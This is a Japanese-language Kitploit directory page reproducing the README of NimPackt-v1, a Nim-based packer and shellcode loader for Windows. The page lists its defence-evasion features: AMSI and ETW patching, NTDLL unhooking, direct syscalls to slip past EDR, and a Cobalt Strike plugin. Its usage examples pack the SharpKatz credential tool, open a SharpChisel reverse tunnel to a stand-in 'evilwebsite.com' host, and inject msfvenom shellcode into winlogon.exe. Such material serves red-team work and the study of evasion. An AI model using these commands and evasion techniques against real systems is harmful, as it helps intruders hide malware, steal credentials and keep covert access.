Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
NimPackt-v1 — Nimベースのアセンブリパッカーおよびシェルコードローダー(opsecと利益のため) | Kitploit
ツール/GitHubGitHub/chvancooten/nimpackt-v1
エクスプロイトフレームワークペイロード生成シェルコードペネトレーションテストレッドチーミングバイナリエクスプロイト
GitHubchvancooten/nimpackt-v1

NimPackt-v1

Nimベースのアセンブリパッカーおよびシェルコードローダー(opsecと利益のため)

リポジトリを見る
4877653年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

NimPackt

.NET実行可能ファイルと生のシェルコード向けのNimベースパッカー

作成者: Cas van Cooten (@chvancooten)

特別な感謝: Marcello Salvati (@byt3bl33der) と Fabian Mosch (@S3cur3Th1sSh1t)

説明

更新: NimPackt-v1は私が今まで書いた中で最悪のコードの1つです(Nimを学び始めたばかりだったため)。このため、私はNimPacktの完全な書き直しに着手し、「NimPackt-NG」(現在は非公開)と名付けました。この書き直しに伴い、旧ブランチ(「NimPackt-v1」)をオープンソース化することにしました。そのため、このブランチはもはやメンテナンスされておらず、保証やサポートも一切ありません。もちろん、プルリクエストはいつでも歓迎します:)

NimPacktは、Windows上で.NET(C#)実行可能ファイルとシェルコードを対象としたNimベースのパッカーです。ペイロードを自動的にNimバイナリにラップし、それをネイティブCにコンパイルするため、検出やリバースエンジニアリングが難しくなります。主な実行方法は2つあります:

  • Execute-Assembly は .NET 実行可能ファイルを再パッケージ化して実行し、必要に応じてAPIフック解除、AMSIパッチ、ETW無効化などの回避策を適用します。
  • Shinject は、位置独立の生のシェルコードを含む .bin ファイルを取得し、ローカルまたはリモートプロセスで実行します。必要に応じて直接システムコールを使用してシェルコードをトリガーしたり、APIフックにパッチを当ててEDRを回避します。

現在、NimPacktには以下の機能があります。

  • 静的システムコールを使用して実行をパッチし、EDRを回避
  • NTDLL.dll を ShellyCoat を使用してリフレッシュすることで、生成されたスレッドのユーザーモードAPIをアンフック
  • Event Tracing for Windows (ETW) にパッチ
  • Anti-Malware Scan Interface (AMSI) にパッチ
  • ペイロードをランダムキーでAES暗号化し、静的分析やフィンガープリンティングを防止
  • exe または dll にコンパイル
  • クロスプラットフォームコンパイル(LinuxとWindowsの両方から)をサポート
  • CobaltStrikeと統合して、簡単にペイロード生成 😎
  • 攻撃ツール向けのC#バイナリの優れた情報源はこちらにあります。C#バイナリは自分でコンパイルすることを強くお勧めします。組み込みのバイナリは暗号化されていますが、機密性の高いバイナリ(Mimikatzなど)は難読化して、検出リスクを低減する必要があります。

    インストール

    Syscallを使用したバイナリのコンパイルに問題がある場合は、GCCをバージョン8.1.0にダウングレードしてみてください(特にWindows上で)。生成されたペイロードは常にテストしてください!

    Linuxでは、必要なパッケージをインストールし、Nimbleパッケージインストーラを使用して必要なパッケージとPythonライブラリをインストールするだけです。

    root@kitploit:~
    sudo apt install -y python3 mingw-w64 nim
    pip3 install pycryptodome argparse
    nimble install winim nimcrypto
    

    Windowsでは、ここからNimインストーラを実行します。mingwをインストールし、提供されているfinish.exeユーティリティを使用してパス値を正しく設定してください。Python3がインストールされていない場合はインストールし、次のように必要なパッケージをインストールします。

    root@kitploit:~
    nimble install winim nimcrypto
    pip3 install pycryptodome argparse
    

    Docker

    Dockerイメージ chvancooten/nimbuild は、NimPackt-v1バイナリをコンパイルするために使用できます。Dockerを使用すると簡単で、依存関係の問題を回避できます。このコンテナには必要な依存関係がすべてプリインストールされています。

    使用するには、OSに応じてDockerをインストールし、入力シェルコードがカレントフォルダにあることを確認します。その後、以下のようにコンテナ内でコンパイルを開始します。

    root@kitploit:~
    docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
    

    CobaltStrikeプラグイン

    CobaltStrikeプラグインをインストールするには、メニューバーからCobalt Strike -> Script Managerを選択し、Loadを選択します。.cnaファイルは元の場所からロードしてください。そうしないと、NimPacktスクリプトファイルを見つけることができません。

    NimPackt

    使い方

    root@kitploit:~
    usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                       [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                       [-d] [-v] [-V]
    
    required arguments:
      -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                            Packerの実行モード。"execute-assembly" または "shinject" をサポート
      -i INPUTFILE, --inputfile INPUTFILE
                            ラップするC# .NETバイナリ実行可能ファイル(.exe)またはシェルコード(.bin)
    
    execute-assembly arguments:
      -a ARGUMENTS, --arguments ARGUMENTS
                            ラップされたバイナリに「焼き付ける」引数、または実行時に引数を受け入れる場合は "PASSTHRU"(デフォルト)
      -na, --nopatchamsi    Anti-Malware Scan Interface(AMSI)をパッチ(無効)しない
      -ne, --nodisableetw   Event Tracing for Windows(ETW)を無効にしない
    
    shinject arguments:
      -r, --remote          シェルコードをリモートプロセスに注入(デフォルト false)
      -t INJECTTARGET, --target INJECTTARGET
                            リモートプロセスインジェクションのターゲットとなるリモートスレッド
      -E, --existing        新しく生成されたプロセスではなく、既存のプロセスにリモート注入(デフォルト false、-r を含意)(警告:不安定)
    
    other arguments:
      -o OUTPUTFILE, --outfile OUTPUTFILE
                            出力ファイルのファイル名(例:"LegitBinary")。拡張子やパスを付けずに指定します。このプロパティは元のファイル名として出力バイナリに保存されます
      -nu, --nounhook       ターゲットプロセスで新しいNTDLL.dllをロードしてユーザーモードAPIフックをアンフックしない
      -ns, --nosyscalls     高レベルAPIの代わりに直接システムコール(Windows 7-10)を使用してEDRを回避しない
      -f FILETYPE, --filetype FILETYPE
                            コンパイルするファイルタイプ("exe" または "dll"、デフォルト:"exe")
      -s, --sleep           素数計算によって約30秒間スリープ
      -32, --32bit          32ビットモードでコンパイル(未テスト)
      -S, --showConsole     実行時にアプリの出力を表示するコンソールウィンドウを表示
      -d, --debug           デバッグモードを有効にする(出力フォルダに.nimソースファイルを保持)
      -v, --verbose         実行時にラップされたバイナリのデバッグメッセージを表示
      -V, --version         プログラムのバージョン番号を表示して終了
    

    例:

    root@kitploit:~
    # SharpKatzをパックし、実行時に引数を受け入れ、NTDLLフック、AMSI、ETWをパッチし、実行時に可視コンソールに詳細メッセージを表示
    python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
    
    # SeatbeltをDLLファイルとしてパックし、焼き付けられた引数(注:DLLではstdoutが利用できないため、outfileに書き込む)
    python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
    
    # SharpChiselを組み込みのChiselChief接続文字列でパックし、アンフック、AMSIパッチ、ETW無効化を行わず、実行時にアプリケーションウィンドウを非表示にする
    python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
    
    # 生のシェルコードをDLLファイルにパックし、直接システムコールを使用してローカルスレッドで実行、NTDLLもアンフック
    # シェルコードは 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin' で生成
    python3 NimPackt.py -i calc.bin -e shinject -f dll
    
    # 生のシェルコードをパックして、新しく生成されたCalculatorスレッドに非表示ウィンドウで実行
    python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
    
    # 生のシェルコードをパックして、既存のWinlogonプロセス(最初のPIDで名前が'winlogon.exe'のもの)に実行、直接システムコールやNTDLLのアンフックは使用しない
    python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
    

    バイナリはインストールディレクトリのoutputサブフォルダに保存されます。生成されたdllファイルは以下のように実行できます(エントリポイントはNimテンプレートで変更可能):

    root@kitploit:~
    rundll32 exampleShinjectNimPackt.dll,IconSrv
    
    ツールをダウンロード